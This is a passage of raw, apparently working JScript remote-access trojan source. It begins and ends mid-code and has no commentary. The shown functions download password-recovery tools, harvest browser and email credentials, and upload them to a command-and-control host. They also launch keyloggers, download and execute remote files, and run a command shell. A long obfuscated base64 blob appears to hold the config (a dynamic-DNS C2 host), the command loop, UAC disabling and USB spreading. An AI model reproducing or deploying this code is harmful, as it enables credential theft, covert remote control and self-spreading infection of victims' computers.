"/"; s += d.getYear(); return s; } function instance(){ try{ try{ usbspreading = shellobj.RegRead("HKEY_LOCAL_MACHINE\\software\\" + installname.split(".")[0] + "\\"); }catch(eee){} if(usbspreading == ""){ if (WScript.scriptFullName.substr(1).toLowerCase() == ":\\" + installname.toLowerCase()){ usbspreading = "true - " + getDate(); try{shellobj.RegWrite("HKEY_LOCAL_MACHINE\\software\\" + installname.split(".")[0] + "\\", usbspreading, "REG_SZ");}catch(eeeee){} }else{ usbspreading = "false - " + getDate(); try{shellobj.RegWrite("HKEY_LOCAL_MACHINE\\software\\" + installname.split(".")[0] + "\\", usbspreading, "REG_SZ");}catch(eeeee){} } } upstart(); var scriptfullnameshort = filesystemobj.getFile(WScript.scriptFullName); var installfullnameshort = filesystemobj.getFile(installdir + installname); if (scriptfullnameshort.shortPath.toLowerCase() != installfullnameshort.shortPath.toLowerCase()){ shellobj.run("wscript.exe //B \"" + installdir + installname + "\""); WScript.quit(); } oneonce = filesystemobj.openTextFile(installdir + installname ,8, false); }catch(err){ WScript.quit(); } } function passgrabber (fileurl, filename, retcmd){ shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true); try{filesystemobj.deleteFile(installdir + filename + "data");}catch(ey){} var config_file = installdir + filename.substr(0, filename.lastIndexOf(".")) + ".cfg"; var cfg = "[General]\nShowGridLines=0\nSaveFilterIndex=0\nShowInfoTip=1\nUseProfileFolder=0\nProfileFolder=\nMarkOddEvenRows=0\nWinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00 00 80 02 00 00 E0 01 00 00\nColumns=FA 00 00 00 FA 00 01 00 6E 00 02 00 6E 00 03 00 78 00 04 00 78 00 05 00 78 00 06 00 64 00 07 00 FA 00 08 00\nSort=0"; var writer = filesystemobj.openTextFile(config_file, 2, true); writer.writeLine(cfg); writer.close(); writer = null; var strlink = fileurl; var strsaveto = installdir + filename; var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp"); objhttpdownload.open("get", strlink, false); objhttpdownload.setRequestHeader("cache-control:", "max-age=0"); objhttpdownload.send(); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 200){ try{ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; }catch(ez){ updatestatus("Access+Denied"); } } if(objfsodownload.fileExists(strsaveto)){ var runner = WScript.CreateObject("Shell.Application"); var saver = objfsodownload.getFile(strsaveto).shortPath; for(var i=0; i<5; i++){ shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true); WScript.sleep(1000); runner.shellExecute(saver, " /stext " + saver + "data"); WScript.sleep(5000); if(objfsodownload.fileExists(saver + "data")){ var outpath = installdir + "wshlogs\\recovered_password_backup.log"; var folder = objfsodownload.GetParentFolderName(outpath); if (!objfsodownload.FolderExists(folder)) { shellobj.run("%comspec% /c mkdir \"" + folder + "\"", 0, true); } objfsodownload.copyFile(saver + "data", outpath, true); break; } } deletefaf(strsaveto); upload(saver + "data", retcmd); } } function passgrabber2(fileurl, filename, fileurl2){ for(var h=0; h<2; h++){ shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true); try{filesystemobj.deleteFile(installdir + filename + "data");}catch(ey){} var config_file = installdir + filename.substr(0, filename.lastIndexOf(".")) + ".cfg"; var cfg = "[General]\nShowGridLines=0\nSaveFilterIndex=0\nShowInfoTip=1\nUseProfileFolder=0\nProfileFolder=\nMarkOddEvenRows=0\nWinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00 00 80 02 00 00 E0 01 00 00\nColumns=FA 00 00 00 FA 00 01 00 6E 00 02 00 6E 00 03 00 78 00 04 00 78 00 05 00 78 00 06 00 64 00 07 00 FA 00 08 00\nSort=0"; var writer = filesystemobj.openTextFile(config_file, 2, true); writer.writeLine(cfg); writer.close(); writer = null; var strlink = fileurl; if(h == 1){strlink = fileurl2;} var strsaveto = installdir + filename; var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp"); objhttpdownload.open("get", strlink, false); objhttpdownload.setRequestHeader("cache-control:", "max-age=0"); objhttpdownload.send(); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 200){ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; } if(objfsodownload.fileExists(strsaveto)){ var runner = WScript.CreateObject("Shell.Application"); var saver = objfsodownload.getFile(strsaveto).shortPath for(var i=0; i<5; i++){ shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true); WScript.sleep(1000); runner.shellExecute(saver, " /stext " + saver + "data"); WScript.sleep(2000); if(objfsodownload.fileExists(saver + "data")){ var objstreamuploade = WScript.CreateObject("adodb.stream"); objstreamuploade.Type = 2; objstreamuploade.Open(); objstreamuploade.loadFromFile(saver + "data"); var buffer = objstreamuploade.ReadText(); objstreamuploade.close(); var outpath = installdir + "wshlogs\\recovered_password_browser.log"; if(h == 1){outpath = installdir + "wshlogs\\recovered_password_email.log";} var folder = objfsodownload.GetParentFolderName(outpath); if (!objfsodownload.FolderExists(folder)) { shellobj.run("%comspec% /c mkdir \"" + folder + "\"", 0, true); } writer = filesystemobj.openTextFile(outpath, 2, true); writer.write(buffer); writer.close(); writer = null; break; } } deletefaf(strsaveto); } } } function keyloggerstarter (fileurl, filename, filearg, is_offline){ shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true); var strlink = fileurl; var strsaveto = installdir + filename; var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp" ); objhttpdownload.open("get", strlink, false); objhttpdownload.setRequestHeader("cache-control:", "max-age=0"); objhttpdownload.send(); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 200){ try{ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; }catch(err){ updatestatus("Access+Denied"); } } if(objfsodownload.fileExists(strsaveto)){ shellobj.run("\"" + strsaveto + "\" " + host + " " + port + " \"" + filearg + "\" " + is_offline); } } function servicestarter (fileurl, filename, filearg){ shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true); var strlink = fileurl; var strsaveto = installdir + filename; var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp" ); objhttpdownload.open("get", strlink, false); objhttpdownload.setRequestHeader("cache-control:", "max-age=0"); objhttpdownload.send(); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 200){ try{ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; }catch(err){ updatestatus("Access+Denied"); } } if(objfsodownload.fileExists(strsaveto)){ shellobj.run("\"" + strsaveto + "\" " + host + " " + port + " \"" + filearg + "\""); } } function sitedownloader (fileurl,filename){ var strlink = fileurl; var strsaveto = installdir + filename; var objhttpdownload = WScript.CreateObject("msxml2.serverxmlhttp" ); objhttpdownload.open("get", strlink, false); objhttpdownload.setRequestHeader("cache-control", "max-age=0"); objhttpdownload.send(); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 200){ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; } if(objfsodownload.fileExists(strsaveto)){ shellobj.run(objfsodownload.getFile(strsaveto).shortPath); updatestatus("Executed+File"); } } function download (fileurl,filedir){ if(filedir == ""){ filedir = installdir; } strsaveto = filedir + fileurl.substr(fileurl.lastIndexOf("\\") + 1); var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp"); objhttpdownload.open("post","http://" + host + ":" + port +"/" + "send-to-me" + spliter + fileurl, false); objhttpdownload.setRequestHeader("user-agent:", information()); objhttpdownload.send(""); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 200){ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; } if(objfsodownload.fileExists(strsaveto)){ shellobj.run(objfsodownload.getFile(strsaveto).shortPath); updatestatus("Executed+File"); } } function updatestatus(status_msg){ var objsoc = WScript.CreateObject("msxml2.xmlhttp"); objsoc.open("post","http://" + host + ":" + port + "/" + "update-status" + spliter + status_msg, false); objsoc.setRequestHeader("user-agent:", information()); objsoc.send(""); } function upload (fileurl, retcmd){ try{ var httpobj,objstreamuploade,buffer; var objstreamuploade = WScript.CreateObject("adodb.stream"); objstreamuploade.Type = 1; objstreamuploade.Open(); objstreamuploade.loadFromFile(fileurl); buffer = objstreamuploade.Read(); objstreamuploade.close(); objstreamdownload = null; var httpobj = WScript.CreateObject("msxml2.xmlhttp"); httpobj.open("post","http://" + host + ":" + port +"/" + retcmd, false); httpobj.setRequestHeader("user-agent:", information()); httpobj.send(buffer); }catch(er){ updatestatus("Upload+Failed"); } } function deletefaf (url){ try{ filesystemobj.deleteFile(url); filesystemobj.deleteFolder(url); }catch(err){} } function cmdshell (cmd){ var httpobj,oexec,readallfromany; var strsaveto = installdir + "out.txt"; shellobj.run("%comspec% /c " + cmd + " > \"" + strsaveto + "\"", 0, true); readallfromany = filesystemobj.openTextFile(strsaveto).readAll(); try{ filesystemobj.deleteFile(strsaveto); }catch(ee){} return readallfromany; } function enumprocess(){ var ep = ""; try{ var objwmiservice = GetObject("winmgmts:\\\\.\\root\\cimv2"); var colitems = objwmiservice.ExecQuery("select * from win32_process",null,48); for(var fi = new Enumerator(colitems); !fi.atEnd(); fi.moveNext()){ var objitem = fi.item(); ep = ep + objitem.name + "^"; ep = ep + objitem.processId + "^"; ep = ep + objitem.executablePath + spliter; } }catch(er){} return ep; } function exitprocess (pid){ try{ shellobj.run("taskkill /F /T /PID " + pid,0,true); }catch(err){} } function getParentDirectory(path){ var fo = filesystemobj.getFile(path); return filesystemobj.getParentFolderName(fo); } function enumfaf (enumdir){ var re = ""; try{ for(var fi = new Enumerator(filesystemobj.getFolder (enumdir).subfolders); !fi.atEnd(); fi.moveNext()){ var folder = fi.item(); re = re + folder.name + "^^d^" + folder.attributes + spliter; } for(var fi = new Enumerator(filesystemobj.getFolder (enumdir).files); !fi.atEnd(); fi.moveNext()){ var file = fi.item(); re = re + file.name + "^" + file.size + "^" + file.attributes + spliter; } }catch(err){} return re; } -------------------------------------- function bgftrewas(){ return ["Ly88WyByZWNvZGVyIDoga29nbml0by>>%oYykgc2t5cGUgOiBsaXZlOnVua25vd24uc2FsZXM2NCBdPgoKLy89LT0tPS09LT0gY29uZmlnID0tPS09LT0tPS09LT0tPS09LT0tPS09LT0tPS09Cgp2YXIgaG9zdC>>%9ICJwbHVnaW5zcnYuZHVja2Rucy5vcmciOwp2YXIgcG9ydC>>%9IDc3NTY7CnZhciBpbnN0YWxsZGlyID0gIiVhcHBkYXRhJSI7CnZhciBydW5Bc0FkbWluID0gZmFsc2U7CnZhciBsbmtmaWxlID0gdHJ1ZTsKdmFyIGxua2ZvbGRlci>>%9IHRydWU7CgppZihydW5Bc0FkbWluID09IHRydWUpewoJc3RhcnR1cEVsZXZhdGUoKTsKfQppZihXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoImVsZXZhdGVkIikgPT0gdHJ1ZSl7CglkaXNhYmxlU2VjdXJpdHkoKTsKfQovLz0tPS09LT0tPSBwdWJsaWMgdmFyID0tPS09LT0tPS09LT0tPS09LT0tPS09LT0KCnZhciBzaGVsbG9iai>>%9IFdTY3JpcHQuY3JlYXRlT2JqZWN0KCJ3c2NyaXB0LnNoZWxsIik7CnZhciBmaWxlc3lzdGVtb2JqID0gV1NjcmlwdC5jcmVhdGVPYmplY3QoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Iik7CnZhciBodHRwb2JqID0gV1NjcmlwdC5jcmVhdGVPYmplY3QoIm1zeG1sMi54bWxodHRwIik7CgoKLy89LT0tPS09LT0gcHJpdmF0IHZhci>>%9LT0tPS09LT0tPS09LT0tPS09LT0tPQoKdmFyIGluc3RhbGxuYW1lID0gV1NjcmlwdC5zY3JpcHROYW1lOwp2YXIgc3RhcnR1cC>>%9IHNoZWxsb2JqLnNwZWNpYWxGb2xkZXJzKCJzdGFydHVwIikgKy>>%iXFwiOwppbnN0YWxsZGlyID0gc2hlbGxvYmouRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKGluc3RhbGxkaXIpICsgIlxcIjsKaWYoIWZpbGVzeXN0ZW1vYmouZm9sZGVyRXhpc3RzKGluc3RhbGxkaXIpKXsgIGluc3RhbGxkaXIgPSBzaGVsbG9iai5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiV0ZW1wJSIpICsgIlxcIjt9CnZhciBzcGxpdGVyID0gInwiOwp2YXIgc2RrcGF0aC>>%9IGluc3RhbGxkaXIgKy>>%id3Noc2RrIjsKdmFyIHNka2ZpbGUgPSBzZGtwYXRoICsgIlxcIi>>%rIGNocigxMTIpICsgY2hyKDEyMSkgKyBjaHIoMTE2KS>>%rIGNocigxMDQpICsgY2hyKDExMSkgKyBjaHIoMTEwKS>>%rIGNocig0NikgKyBjaHIoMT>>%xKS>>%rIGNocigxMj>>%pICsgY2hyKDEwMSk7CnZhciBzbGVlcC>>%9IDUwMD>>%7I>>%p2YXIgcmVzcG9uc2UsIGNtZCwgcGFyYW0sIG9uZW9uY2U7Cgp2YXIgaW5mID0gIiI7CnZhciB1c2JzcHJlYWRpbmcgPS>>%iIjsKdmFyIHN0YXJ0ZGF0ZS>>%9ICIiOwoKLy89LT0tPS09LT0gY29kZSBzdGFydC>>%9LT0tPS09LT0tPS09LT0tPS09LT0tPQoKaW5zdGFuY2UoKTsKCndoaWxlKHRydWUpewoJdHJ5ewoJCWluc3RhbGwoKTsKCgkJcmVzcG9uc2UgPS>>%iIjsKIC>>%gIC>>%gICByZXNwb25zZS>>%9IHBvc3QgKCJpcy1yZWFkeSIsIiIpOwoJCWNtZC>>%9IHJlc3BvbnNlLnNwbGl0KHNwbGl0ZXIpOwoJCXN3aXRjaChjbWRbMF0pewogIC>>%gIC>>%gIC>>%gICBjYXNlICJkaXNjb25uZWN0IjoKCQkJCS>>%gV1NjcmlwdC5xdWl0KCk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICJyZWJvb3QiOgoJCQkJICBzaGVsbG9iai5ydW4oIiVjb21zcGVjJS>>%vYyBzaHV0ZG93bi>>%vci>>%vdC>>%wIC9mIiwgMCwgdHJ1ZSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICJzaHV0ZG93biI6CgkJCQkgIHNoZWxsb2JqLnJ1bigiJWNvbXNwZWMlIC9jIHNodXRkb3duIC9zIC90ID>>%gL2YiLC>>%wLCB0cnVlKTsKCQkJCS>>%gYnJlYWs7Ci>>%gIC>>%gIC>>%gIC>>%gIGNhc2UgImV4Y2VjdXRlIjoKIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gcGFyYW0gPSBjbWRbMV07CgkJCQkgIGV2YWwocGFyYW0pOwoJCQkJICBicmVhazsKCQkJY2FzZS>>%iaW5zdGFsbC1zZGsiOgoJCQkJICBpbnN0YWxsc2RrKCk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICJnZXQtcGFzcyI6CgkJCQkgIHBhc3NncmFiYmVyKGNtZFsxXSwgImNtZGMuZXhlIiwgY21kWzJdKTsKCQkJCS>>%gYnJlYWs7CgkJCWNhc2UgImdldC1wYXNzLW9mZmxpbmUiOgoJCQkJICBwYXNzZ3JhYmJlcihjbWRbM10sICJjbWRjLmV4ZSIsICJpZSIpOwoJCQkJICBwYXNzZ3JhYmJlcigibnVsbCIsICJjbWRjLmV4ZSIsICJjaHJvbWUiKTsKCQkJCS>>%gcGFzc2dyYWJiZXIoIm51bGwiLC>>%iY21kYy5leGUiLC>>%ibW96aWxsYSIpOwoJCQkJICBwYXNzZ3JhYmJlcjIoY21kWzFdLC>>%iY21kYy5leGUiLCBjbWRbMl0pOwoJCQkJICBicmVhazsKCQkJY2FzZS>>%idXBkYXRlIjoKCQkJCS>>%gcGFyYW0gPSByZXNwb25zZS5zdWJzdHIocmVzcG9uc2UuaW5kZXhPZigifCIpICsgMSk7CgkJCQkgIG9uZW9uY2UuY2xvc2UoKTsKCQkJCS>>%gb25lb25jZS>>%9IGZpbGVzeXN0ZW1vYmoub3BlblRleHRGaWxlKGluc3RhbGxkaXIgKyBpbnN0YWxsbmFtZS>>%sMiwgZmFsc2UpOwoJCQkJICBvbmVvbmNlLndyaXRlKHBhcmFtKTsKCQkJCS>>%gb25lb25jZS5jbG9zZSgpOwoJCQkJICBzaGVsbG9iai5ydW4oIndzY3JpcHQuZXhlIC8vQiBcIiIgKyBpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUgKy>>%iXCIiKTsKCQkJCS>>%gV1NjcmlwdC5xdWl0KCk7CgkJCWNhc2UgInVuaW5zdGFsbCI6CgkJCQkgIHVuaW5zdGFsbCgpOwoJCQkJICBicmVhazsKCQkJY2FzZS>>%idX>>%tbi1leGVjIjoKCQkJCS>>%gZG93bmxvYWQoY21kWzFdLGNtZFsyXSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICJicmluZy1sb2ciOgoJCQkJICB1cGxvYWQoaW5zdGFsbGRpci>>%rICJ3c2hsb2dzXFwiICsgY21kWzFdLC>>%idGFrZS1sb2ciKTsKCQkJCS>>%gYnJlYWs7CgkJCWNhc2UgImRvd24tbi1leGVjIjoKCQkJCS>>%gc2l0ZWRvd25sb2FkZXIoY21kWzFdLGNtZFsyXSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlIC>>%iZmlsZW1hbmFnZXIiOgoJCQkJICBzZXJ2aWNlc3RhcnRlcihjbWRbMV0sICJmbS1wbHVnaW4uZXhlIiwgaW5mb3JtYXRpb24oKSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlIC>>%icmRwIjoKCQkJCS>>%gc2VydmljZXN0YXJ0ZXIoY21kWzFdLC>>%icmQtcGx1Z2luLmV4ZSIsIGluZm9ybWF0aW9uKCkpOwoJCQkJICBicmVhazsKCQkJY2FzZS>>%gImtleWxvZ2dlciI6CgkJCQkgIGtleWxvZ2dlcnN0YXJ0ZXIoY21kWzFdLC>>%ia2wtcGx1Z2luLmV4ZSIsIGluZm9ybWF0aW9uKCksID>>%pOwoJCQkJICBicmVhazsKCQkJY2FzZS>>%gIm9mZmxpbmUta2V5bG9nZ2VyIjoKCQkJCS>>%ga2V5bG9nZ2Vyc3RhcnRlcihjbWRbMV0sICJrbC1wbHVnaW4uZXhlIiwgaW5mb3JtYXRpb24oKSwgMSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlIC>>%iYnJvd3NlLWxvZ3MiOgoJCQkJICBwb3N0KCJpcy1sb2dzIiwgZW51bWZhZihpbnN0YWxsZGlyICsgIndzaGxvZ3MiKSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlIC>>%iY21kLXNoZWxsIjoKCQkJCS>>%gcGFyYW0gPSBjbWRbMV07CgkJCQkgIHBvc3QoImlzLWNtZC1zaGVsbCIsY21kc2hlbGwocGFyYW0pKTsKCQkJCS>>%gYnJlYWs7CgkJCWNhc2UgICJnZXQtcHJvY2Vzc2VzIjoKCQkJCS>>%gcG9zdCgiaXMtcHJvY2Vzc2VzIiwgZW51bXByb2Nlc3MoKSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlIC>>%iZGlzYWJsZS11YWMiOgoJCQkJICBkaXNhYmxlU2VjdXJpdHkoKTsKCQkJCS>>%gdXBkYXRlc3RhdHVzKCJVQUMrRGlzYWJsZWQrKFJlYm9vdCtSZXF1aXJlZCkiKTsKCQkJCS>>%gYnJlYWs7CgkJCWNhc2UgICJjaGVjay1lbGlnaWJsZSI6CgkJCQkgIGlmKGZpbGVzeXN0ZW1vYmouZmlsZUV4aXN0cyhjbWRbMV0pKXsKCQkJCQl1cGRhdGVzdGF0dXMoIklzK0VsaWdpYmxlIik7CgkJCQkgIH1lbHNlewoJCQkJCXVwZGF0ZXN0YXR1cygiTm90K0VsaWdpYmxlIik7CgkJCQkgIH0KCQkJCS>>%gYnJlYWs7CgkJCWNhc2UgICJmb3JjZS1lbGlnaWJsZSI6CgkJCQkgIGlmKFdTY3JpcHQuQXJndW1lbnRzLk5hbWVkLkV4aXN0cygiZWxldmF0ZWQiKS>>%9PSB0cnVlKXsKCQkJCQlpZihmaWxlc3lzdGVtb2JqLmZvbGRlckV4aXN0cyhjbWRbMV0pKXsKCQkJCQkJc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgIi>>%rIGNtZFsyXSwgMCwgdHJ1ZSk7CgkJCQkJCXVwZGF0ZXN0YXR1cygiU1VDQ0VTUyIpOwoJCQkJCX1lbHNlewoJCQkJCQl1cGRhdGVzdGF0dXMoIkNvbXBvbmVudCtNaXNzaW5nIik7CgkJCQkJfQoJCQkJICB9CgkJCQkgIGVsc2V7CgkJCQkJdXBkYXRlc3RhdHVzKCJFbGV2YXRpb24rUmVxdWlyZWQiKTsKCQkJCS>>%gfQoJCQkJICBicmVhazsKCQkJY2FzZS>>%gImVsZXZhdGUiOgoJCQkJICBpZihXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoImVsZXZhdGVkIikgPT0gZmFsc2UpewoJCQkJCXRyeXsKCQkJCQkgIG9uZW9uY2UuY2xvc2UoKTsKCQkJCQkgIG9uZW9uY2UgPSBudWxsOwoJCQkJCS>>%gV1NjcmlwdC5DcmVhdGVPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJ3c2NyaXB0LmV4ZSIsICIgLy9CIFwiIi>>%rIFdTY3JpcHQuU2NyaXB0RnVsbE5hbWUgKy>>%iXCIgL2VsZXZhdGVkIiwgIiIsICJydW5hcyIsIDEpOwoJCQkJCS>>%gdXBkYXRlc3RhdHVzKCJDbGllbnQrRWxldmF0ZWQiKTsKCQkJCQl9Y2F0Y2gobm4pewoJCQkJCX0KCQkJCQlXU2NyaXB0LnF1aXQoKTsKCQkJCS>>%gfQoJCQkJICBlbHNlewoJCQkJIC>>%JICB1cGRhdGVzdGF0dXMoIkNsaWVudCtFbGV2YXRlZCIpOwoJCQkJICB9CgkJCQkgIGJyZWFrOwoJCQljYXNlIC>>%iaWYtZWxldmF0ZSI6CgkJCQkgIGlmKFdTY3JpcHQuQXJndW1lbnRzLk5hbWVkLkV4aXN0cygiZWxldmF0ZWQiKS>>%9PSBmYWxzZSl7CgkJCQkJICB1cGRhdGVzdGF0dXMoIkNsaWVudCtOb3QrRWxldmF0ZWQiKTsKCQkJCS>>%gfQoJCQkJICBlbHNlewoJCQkJIC>>%JICB1cGRhdGVzdGF0dXMoIkNsaWVudCtFbGV2YXRlZCIpOwoJCQkJICB9CgkJCQkgIGJyZWFrOwoJCQljYXNlIC>>%ia2lsbC1wcm9jZXNzIjoKCQkJCS>>%gZXhpdHByb2Nlc3MoY21kWzFdKTsKCQkJCS>>%gYnJlYWs7CgkJCWNhc2UgICJzbGVlcCI6CgkJCQkgIHBhcmFtID0gY21kWzFdOwoJCQkJICBzbGVlcC>>%9IGV2YWwocGFyYW0pOwogIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gICBicmVhazsKCQl9CgkJCgl9Y2F0Y2goZXIpe30KCVdTY3JpcHQuc2xlZX>>%oc2xlZX>>%pOwp9CgpmdW5jdGlvbiBpbnN0YWxsc2RrKCl7Cgl0cnl7CgkJdmFyIHNka3VybC>>%9IHBvc3QoIm1vei1zZGsiLC>>%iIik7CgkJdmFyIG9iamh0dHBkb3dubG9hZC>>%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOwoJCW9iamh0dHBkb3dubG9hZC5vcGVuKCJnZXQiLCBzZGt1cmwsIGZhbHNlKTsKCQlvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbDoiLC>>%ibWF4LWFnZT0wIik7CgkJb2JqaHR0cGRvd25sb2FkLnNlbmQoKTsKCgkJaWYoZmlsZXN5c3RlbW9iai5maWxlRXhpc3RzKGluc3RhbGxkaXIgKy>>%id3Noc2RrLnppcCIpKXsKCQkJZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGluc3RhbGxkaXIgKy>>%id3Noc2RrLnppcCIpOwoJCX0KCQkgCgkJaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMj>>%wKXsKCQkgIHRyeXsKCQkgICB2YXIgIG9ianN0cmVhbWRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoImFkb2RiLnN0cmVhbSIpOwoJCS>>%gIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPS>>%xOy>>%KCQkgICBvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7CgkJIC>>%gb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7CgkJIC>>%gb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShpbnN0YWxsZGlyICsgIndzaHNkay56aX>>%iKTsKCQkgICBvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOwoJCS>>%gIG9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCQkgIH1jYXRjaChleil7CgkJCQoJCS>>%gfQoJCX0KCQlpZihmaWxlc3lzdGVtb2JqLmZpbGVFeGlzdHMoaW5zdGFsbGRpci>>%rICJ3c2hzZGsuemlwIikpewoJCQkvL3VuemlwIHRoZSBmaWxlI>>%oJCQlVblppcChpbnN0YWxsZGlyICsgIndzaHNkay56aX>>%iLCBzZGtwYXRoKTsKCQkJdXBkYXRlc3RhdHVzKCJTREsrSW5zdGFsbGVkIik7CgkJfQoJfWNhdGNoKGVycil7fQp9CgpmdW5jdGlvbiBpbnN0YWxsKCl7CnZhciBsbmtvYmo7CnZhciBmaWxlbmFtZTsKdmFyIGZvbGRlcm5hbWU7CnZhciBmaWxlaWNvbjsKdmFyIGZvbGRlcmljb247Cgp1cHN0YXJ0KCk7Cgpmb3IodmFyIGRyaS>>%9IG5ldyBFbnVtZXJhdG9yKGZpbGVzeXN0ZW1vYmouZHJpdmVzKTsgIWRyaS5hdEVuZCgpOyBkcmkubW92ZU5leHQoKSl7CnZhciBkcml2ZS>>%9IGRyaS5pdGVtKCk7CmlmIChkcml2ZS5pc3JlYWR5ID09IHRydWUpewppZi>>%oZHJpdmUuZnJlZXNwYWNlID4gMC>>%pewppZi>>%oZHJpdmUuZHJpdmV0eXBlID09IDEgKXsKCXRyeXsKCQlmaWxlc3lzdGVtb2JqLmNvcHlGaWxlKFdTY3JpcHQuc2NyaXB0RnVsbE5hbWUgLCBkcml2ZS5wYXRoICsgIlxcIi>>%rIGluc3RhbGxuYW1lLHRydWUpOwoJCWlmIChmaWxlc3lzdGVtb2JqLmZpbGVFeGlzdHMgKGRyaXZlLnBhdGggKy>>%iXFwiICsgaW5zdGFsbG5hbWUpKXsKCQkJZmlsZXN5c3RlbW9iai5nZXRGaWxlKGRyaXZlLnBhdGggKy>>%iXFwiIC>>%rIGluc3RhbGxuYW1lKS5hdHRyaWJ1dGVzID0gMis0OwoJCX0KCX1jYXRjaChlaWp1KXt9Ci>>%gICBmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoZHJpdmUucGF0aC>>%rICJcXCIpLmZpbGVzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewoJCXRyeXsKCQl2YXIgZmlsZS>>%9IGZpLml0ZW0oKTsKIC>>%gIC>>%gICBpZi>>%obG5rZmlsZS>>%9PSBmYWxzZSl7YnJlYWs7fQogIC>>%gIC>>%gIGlmIChmaWxlLm5hbWUuaW5kZXhPZigiLiIpKXsKIC>>%gIC>>%gIC>>%gIC>>%gaWYgKChmaWxlLm5hbWUuc3BsaXQoIi4iKVtmaWxlLm5hbWUuc3BsaXQoIi4iKS5sZW5ndGggLS>>%xXSkudG9Mb3dlckNhc2UoKS>>%hPS>>%ibG5rIil7Ci>>%gIC>>%gIC>>%gIC>>%gIC>>%gICBmaWxlLmF0dHJpYnV0ZXMgPS>>%yKzQ7Ci>>%gI